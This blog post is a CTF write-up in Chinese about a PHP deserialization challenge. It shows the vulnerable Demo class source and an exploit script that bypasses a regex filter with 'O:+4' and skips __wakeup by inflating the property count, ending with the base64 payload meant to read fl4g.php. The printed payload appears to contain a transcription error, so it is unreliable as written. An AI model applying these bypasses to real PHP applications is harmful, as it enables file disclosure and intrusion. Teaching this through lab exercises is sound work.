

XCTF-WEB进阶区Web_php_unserialize

原创

Sure_lis 于 2020-03-15 09:45:23 发布 406 收藏 1

分类专栏: CTF 文章标签: php

版权声明: 本文为博主原创文章, 遵循CC 4.0 BY-SA 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/Lorezon/article/details/104855664>

版权



[CTF 专栏收录该内容](#)

7 篇文章 0 订阅

订阅专栏

打开题目是一堆源码:

The screenshot shows a browser window with the URL `111.198.29.45:43359`. The page content is a block of PHP code. The code defines a class `Demo` with methods `__construct`, `__destruct`, and `__wakeup`. It checks if the file is not 'index.php' and die. It also handles base64 decoding and preg_match for the variable \$var. The code ends with a die statement and a highlight_file call.

```
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>
```

<https://blog.csdn.net/Lorezon>

主要看 `preg_match('/[oc]:\d+:/i', $var)` 和 `unserialize($var)` 这两处, 给上一个大佬的脚本:

```

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$A = new Demo('fl4g.php');
$c = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$c = str_replace('O:4', 'O:+4', $c); //绕过preg_match
$c = str_replace(':1:', ':2:', $c); //绕过wakeup
var_dump($c);
var_dump(base64_encode($c));

?>

```

结果如下：

```

string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo40iJmbDRnLnBocCI7fQ=="

sandbox> exited with status 0

```

之后将string(68)的结果传参：

